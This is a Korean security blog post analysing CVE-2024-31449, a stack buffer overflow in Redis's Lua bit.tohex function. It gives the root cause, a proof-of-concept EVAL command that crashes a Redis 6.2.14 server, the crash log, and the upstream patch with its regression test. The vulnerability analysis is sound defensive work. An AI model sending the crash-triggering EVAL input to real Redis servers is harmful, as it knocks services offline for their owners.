CVE-2024-31449: Stack Buffer Overflow In Redis

· omacs's blog


Table of Contents

Introduction #

본 취약점은 Redis 6.2.16 이전 버전 Lua의 16진수 문자열 변환 기능에서 발생한 스택 버퍼 오버플로우이다. 이 취약점은 스택 버퍼의 범위를 넘어선 쓰기를 가능하게 한다. 본 글에서는 Redis 6.2.14 버전을 기준으로 이 취약점을 알아볼 것이다[1, 2, 3].

Root-cause Analysis #

Redis의 Lua 구현에서 bit_tohex 함수 코드는 다음과 같다 (deps/lua/src/lua_bit.c에서 발췌)[3].

static int bit_tohex(lua_State *L)
{
  UBits b = barg(L, 1);
  SBits n = lua_isnone(L, 2) ? 8 : (SBits)barg(L, 2);
  const char *hexdigits = "0123456789abcdef";
  char buf[8];
  int i;
  if (n < 0) { n = -n; hexdigits = "0123456789ABCDEF"; }
  if (n > 8) n = 8;
  for (i = (int)n; --i >= 0; ) { buf[i] = hexdigits[b & 15]; b >>= 4; }
  lua_pushlstring(L, buf, (size_t)n);
  return 1;
}

위 코드에서 변수 n을 검증하는 코드는 특정 값에서는 불충분하다. 다음 코드를 컴파일하여 실행해보면 음수가 여전히 검증 코드를 통과함을 알 수 있다.

#include <stdio.h>
#include <stdint.h>

#define MYPTRDIFF_MIN 0x80000000

/* gcc test.c */
int main()
{
    int i;
    int32_t n;

    n = MYPTRDIFF_MIN;
    printf("n: %x\n", n);

    if (n < 0) {
        n = -n;
        printf("n: %x\n", n);
        puts("n is negative");
    }
    if (n > 8) {
        n = 8;
        puts("n is greater than 8");
    }

    i = (int) n;
    printf("i: %d\n", i);
    return 0;
}

$ gcc test.c
$ ./a.out 
n: 80000000
n: 80000000
n is negative
i: -2147483648
$

Proof-of-Concept #

Redis 커맨드 라인은 Lua 스크립트를 실행하기 위한 EVAL 명령어를 제공한다. 그리고 상기에 다룬 bit_tohex()는 Lua 스크립트에서 bit.tohex()로 호출할 수 있다. 또, Lua 스크립트에서는 ARGV를 사용하여 인자를 받을 수 있는데, 인자들은 barg()를 거쳐 bit_tohex() 내에서 사용된다. 이로부터 다음과 같이 코드를 작성할 수 있다[4, 5, 6].

EVAL "return bit.tohex(ARGV[1], ARGV[2])" 0 0xff 0x80000000

위 코드를 Redis 커맨드 라인에서 실행하면 Redis 서버에서 segmentation fault가 발생한다.

$ ./redis-server
84694:C 05 Apr 2026 19:14:35.621 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
84694:C 05 Apr 2026 19:14:35.621 # Redis version=6.2.14, bits=64, commit=00000000, modified=0, pid=84694, just started
84694:C 05 Apr 2026 19:14:35.621 # Warning: no config file specified, using the default config. In order to specify a config file use ./redis-server /path/to/redis.conf
84694:M 05 Apr 2026 19:14:35.622 * Increased maximum number of open files to 10032 (it was originally set to 1024).
84694:M 05 Apr 2026 19:14:35.622 * monotonic clock: POSIX clock_gettime
                _._                                                  
           _.-``__ ''-._                                             
      _.-``    `.  `_.  ''-._           Redis 6.2.14 (00000000/0) 64 bit
  .-`` .-```.  ```\/    _.,_ ''-._                                  
 (    '      ,       .-`  | `,    )     Running in standalone mode
 |`-._`-...-` __...-.``-._|'` _.-'|     Port: 6379
 |    `-._   `._    /     _.-'    |     PID: 84694
  `-._    `-._  `-./  _.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |           https://redis.io       
  `-._    `-._`-.__.-'_.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |                                  
  `-._    `-._`-.__.-'_.-'    _.-'                                   
      `-._    `-.__.-'    _.-'                                       
          `-._        _.-'                                           
              `-.__.-'                                               

84694:M 05 Apr 2026 19:14:35.622 # Server initialized
84694:M 05 Apr 2026 19:14:35.622 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
84694:M 05 Apr 2026 19:14:35.766 * Loading RDB produced by version 6.2.14
84694:M 05 Apr 2026 19:14:35.766 * RDB age 179782 seconds
84694:M 05 Apr 2026 19:14:35.766 * RDB memory usage when created 0.78 Mb
84694:M 05 Apr 2026 19:14:35.766 # Done loading RDB, keys loaded: 1, keys expired: 0.
84694:M 05 Apr 2026 19:14:35.766 * DB loaded from disk: 0.143 seconds
84694:M 05 Apr 2026 19:14:35.766 * Ready to accept connections


=== REDIS BUG REPORT START: Cut & paste starting from here ===
84694:M 05 Apr 2026 19:15:01.078 # Redis 6.2.14 crashed by signal: 11, si_code: 1
84694:M 05 Apr 2026 19:15:01.078 # Accessing address: 0x7ffcf311b20f
84694:M 05 Apr 2026 19:15:01.078 # Crashed running the instruction at: 0x643c3e98f348

------ STACK TRACE ------
EIP:
./redis-server *:6379(+0x131348)[0x643c3e98f348]

Backtrace:
/lib/x86_64-linux-gnu/libc.so.6(+0x42520)[0x78cba1842520]
./redis-server *:6379(+0x131348)[0x643c3e98f348]
./redis-server *:6379(+0x1192fa)[0x643c3e9772fa]
./redis-server *:6379(+0x1239c1)[0x643c3e9819c1]
./redis-server *:6379(+0x1199ad)[0x643c3e9779ad]
./redis-server *:6379(+0x118c53)[0x643c3e976c53]
./redis-server *:6379(+0x119b64)[0x643c3e977b64]
./redis-server *:6379(lua_pcall+0x5c)[0x643c3e974c8c]
./redis-server *:6379(evalGenericCommand+0x1fe)[0x643c3e918e8e]
./redis-server *:6379(call+0xee)[0x643c3e8ac8fe]
./redis-server *:6379(processCommand+0x763)[0x643c3e8ae803]
./redis-server *:6379(processInputBuffer+0x103)[0x643c3e8c2c93]
./redis-server *:6379(+0x1071a4)[0x643c3e9651a4]
./redis-server *:6379(+0x46328)[0x643c3e8a4328]
./redis-server *:6379(aeMain+0x1d)[0x643c3e8a4ddd]
./redis-server *:6379(main+0x328)[0x643c3e8a0e98]
/lib/x86_64-linux-gnu/libc.so.6(+0x29d90)[0x78cba1829d90]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0x80)[0x78cba1829e40]
./redis-server *:6379(_start+0x25)[0x643c3e8a13b5]

------ REGISTERS ------
84694:M 05 Apr 2026 19:15:01.080 # 
RAX:00007ffcf311b20e RBX:000000000000000f
RCX:00007ffc7311b20f RDX:0000000000000046
RDI:00007ffc7311b210 RSI:0000643c3ea2b257
RBP:0000643c480ff4f0 RSP:00007ffc7311b210
R8 :0000000000000000 R9 :0000000000000000
R10:0010000000000000 R11:0010000000000000
R12:ffffffff80000000 R13:0000643c48109c2c
R14:0000643c480ff790 R15:0000643c480ff4f0
RIP:0000643c3e98f348 EFL:0000000000010206
CSGSFS:002b000000000033
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21f) -> 0000643c3ea29ae8
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21e) -> 0000643c48109c2c
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21d) -> 0000643c480ff790
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21c) -> 0000000000000000
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21b) -> 0000643c480ff4f0
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21a) -> 000000000000b000
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b219) -> 0000643c480ff7b0
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b218) -> 000078cba1522640
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b217) -> 0000643c3e98034d
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b216) -> 0000643c480ff7b0
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b215) -> 0000643c3e9772fa
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b214) -> 0000643c480ff790
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b213) -> 00000000ffffffff
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b212) -> 0000643c480ff7a0
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b211) -> afc5cf09ccb7a200
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b210) -> 0000643c48109c40

------ INFO OUTPUT ------
# Server
redis_version:6.2.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:2b4797676fee72f0
redis_mode:standalone
os:Linux 6.8.0-106-generic x86_64
arch_bits:64
monotonic_clock:POSIX clock_gettime
multiplexing_api:epoll
atomicvar_api:c11-builtin
gcc_version:12.3.0
process_id:84694
process_supervised:no
run_id:0c7db82567fcc1884fb016091944e7a9df69d997
tcp_port:6379
server_time_usec:1775384101078086
uptime_in_seconds:26
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:13776421
executable:/home/omacs/org/va/1day/cve-2024-31449/redis-6.2.14/src/./redis-server
config_file:
io_threads_active:0

# Clients
connected_clients:1
cluster_connections:0
maxclients:10000
client_recent_max_input_buffer:16
client_recent_max_output_buffer:0
blocked_clients:0
tracking_clients:0
clients_in_timeout_table:0

# Memory
used_memory:876064
used_memory_human:855.53K
used_memory_rss:5898240
used_memory_rss_human:5.62M
used_memory_peak:933920
used_memory_peak_human:912.03K
used_memory_peak_perc:93.81%
used_memory_overhead:832680
used_memory_startup:811936
used_memory_dataset:43384
used_memory_dataset_perc:67.65%
allocator_allocated:1032368
allocator_active:1253376
allocator_resident:4067328
total_system_memory:16558194688
total_system_memory_human:15.42G
used_memory_lua:31744
used_memory_lua_human:31.00K
used_memory_scripts:144
used_memory_scripts_human:144B
number_of_cached_scripts:1
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
allocator_frag_ratio:1.21
allocator_frag_bytes:221008
allocator_rss_ratio:3.25
allocator_rss_bytes:2813952
rss_overhead_ratio:1.45
rss_overhead_bytes:1830912
mem_fragmentation_ratio:7.08
mem_fragmentation_bytes:5065216
mem_not_counted_for_evict:0
mem_replication_backlog:0
mem_clients_slaves:0
mem_clients_normal:20496
mem_aof_buffer:0
mem_allocator:jemalloc-5.1.0
active_defrag_running:0
lazyfree_pending_objects:0
lazyfreed_objects:0

# Persistence
loading:0
current_cow_size:0
current_cow_size_age:0
current_fork_perc:0.00
current_save_keys_processed:0
current_save_keys_total:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1775384075
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:0
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0
module_fork_in_progress:0
module_fork_last_cow_size:0

# Stats
total_connections_received:1
total_commands_processed:1
instantaneous_ops_per_sec:0
total_net_input_bytes:106
total_net_output_bytes:20324
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
expire_cycle_cpu_milliseconds:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
total_forks:0
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0
tracking_total_keys:0
tracking_total_items:0
tracking_total_prefixes:0
unexpected_error_replies:0
total_error_replies:0
dump_payload_sanitizations:0
total_reads_processed:2
total_writes_processed:1
io_threaded_reads_processed:0
io_threaded_writes_processed:0

# Replication
role:master
connected_slaves:0
master_failover_state:no-failover
master_replid:0c07a83450097531d807d1ff41c9821b6ac1d467
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:0.035854
used_cpu_user:0.021729
used_cpu_sys_children:0.000000
used_cpu_user_children:0.000000
used_cpu_sys_main_thread:0.035664
used_cpu_user_main_thread:0.021614

# Modules

# Commandstats
cmdstat_command:calls=1,usec=766,usec_per_call=766.00,rejected_calls=0,failed_calls=0

# Errorstats

# Cluster
cluster_enabled:0

# Keyspace
db0:keys=1,expires=0,avg_ttl=0

------ CLIENT LIST OUTPUT ------
id=3 addr=127.0.0.1:59854 laddr=127.0.0.1:6379 fd=8 name= age=23 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=89 qbuf-free=40865 argv-mem=53 obl=0 oll=0 omem=0 tot-mem=61533 events=r cmd=eval user=default redir=-1

------ CURRENT CLIENT INFO ------
id=3 addr=127.0.0.1:59854 laddr=127.0.0.1:6379 fd=8 name= age=23 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=89 qbuf-free=40865 argv-mem=53 obl=0 oll=0 omem=0 tot-mem=61533 events=r cmd=eval user=default redir=-1
argv[0]: 'EVAL'
argv[1]: 'return bit.tohex(ARGV[1], ARGV[2])'
argv[2]: '0'
argv[3]: '0xff'
argv[4]: '0x80000000'

------ MODULES INFO OUTPUT ------

------ FAST MEMORY TEST ------
84694:M 05 Apr 2026 19:15:01.081 # Bio thread for job type #0 terminated
84694:M 05 Apr 2026 19:15:01.081 # Bio thread for job type #1 terminated
84694:M 05 Apr 2026 19:15:01.081 # Bio thread for job type #2 terminated
*** Preparing to test memory region 643c3ea7e000 (2277376 bytes)
*** Preparing to test memory region 643c480fa000 (135168 bytes)
*** Preparing to test memory region 78cb9e7fd000 (8388608 bytes)
*** Preparing to test memory region 78cb9effe000 (8388608 bytes)
*** Preparing to test memory region 78cb9f7ff000 (8388608 bytes)
*** Preparing to test memory region 78cba0000000 (8388608 bytes)
*** Preparing to test memory region 78cba1000000 (8388608 bytes)
*** Preparing to test memory region 78cba1a1c000 (53248 bytes)
*** Preparing to test memory region 78cba1ab2000 (16384 bytes)
*** Preparing to test memory region 78cba1bb9000 (8192 bytes)
.O.O.O.O.O.O.O.O.O.O
Fast memory test PASSED, however your memory can still be broken. Please run a memory test for several hours if possible.

------ DUMPING CODE AROUND EIP ------
Symbol: (null) (base: (nil))
Module: ./redis-server *:6379 (base 0x643c3e85e000)
$ xxd -r -p /tmp/dump.hex /tmp/dump.bin
$ objdump --adjust-vma=(nil) -D -b binary -m i386:x86-64 /tmp/dump.bin
------

=== REDIS BUG REPORT END. Make sure to include from START to END. ===

       Please report the crash by opening an issue on github:

           http://github.com/redis/redis/issues

  If a Redis module was involved, please open in the module's repo instead.

  Suspect RAM error? Use redis-server --test-memory to verify it.

  Some other issues could be detected by redis-server --check-system
Segmentation fault (core dumped)
$

Patch #

패치는 문제가 된 값인 0x80000000을 처리하는 코드를 추가하는 방식으로 진행되었다[1].

diff --git a/deps/lua/src/lua_bit.c b/deps/lua/src/lua_bit.c
index 690df7d3ce6..a459ca98b18 100644
--- a/deps/lua/src/lua_bit.c
+++ b/deps/lua/src/lua_bit.c
@@ -131,6 +131,7 @@ static int bit_tohex(lua_State *L)
   const char *hexdigits = "0123456789abcdef";
   char buf[8];
   int i;
+  if (n == INT32_MIN) n = INT32_MIN+1;
   if (n < 0) { n = -n; hexdigits = "0123456789ABCDEF"; }
   if (n > 8) n = 8;
   for (i = (int)n; --i >= 0; ) { buf[i] = hexdigits[b & 15]; b >>= 4; }
diff --git a/tests/unit/scripting.tcl b/tests/unit/scripting.tcl
index 2e3a936c4e6..2381927cda2 100644
--- a/tests/unit/scripting.tcl
+++ b/tests/unit/scripting.tcl
@@ -528,6 +528,12 @@ start_server {tags {"scripting"}} {
         set e
     } {ERR*Attempt to modify a readonly table*}

+    test {lua bit.tohex bug} {
+        set res [r eval {return bit.tohex(65535, -2147483648)} 0]
+        r ping
+        set res
+    } {0000FFFF}
+
     test {Test an example script DECR_IF_GT} {
         set decr_if_gt {
             local current

References #

  1. oranagra, "Fix lua bit.tohex (CVE-2024-31449)." github.com, Accessed: Apr. 04, 2026. [Online]. Available: https://github.com/redis/redis/commit/1f7c148be2cbacf7d50aa461c58b871e87cc5ed9#diff-02e137d15d64a8f8f039d7c0a313402ac32e8a78245fc6ba85804a57c8f07f51
  2. "CVE-2024-31449 Detail." nvd.nist.gov, Accessed: Apr. 04, 2026. [Online]. Available: https://nvd.nist.gov/vuln/detail/CVE-2024-31449
  3. antirez et al., "redis", (Version 6.2.14) [Source Code]. https://github.com/redis/redis
  4. "Scripting with Lua." redis.io, Accessed: Apr. 04, 2026. [Online]. Available: https://redis.io/docs/latest/develop/programmability/eval-intro/
  5. "Redis Lua API reference." redis.io, Accessed: Apr. 04, 2026. [Online]. Available: https://redis.io/docs/latest/develop/programmability/lua-api/
  6. "Install Redis from Source." redis.io, Accessed: Apr. 04, 2026. [Online]. Available: https://redis.io/docs/latest/operate/oss_and_stack/install/archive/install-redis/install-redis-from-source/
last updated: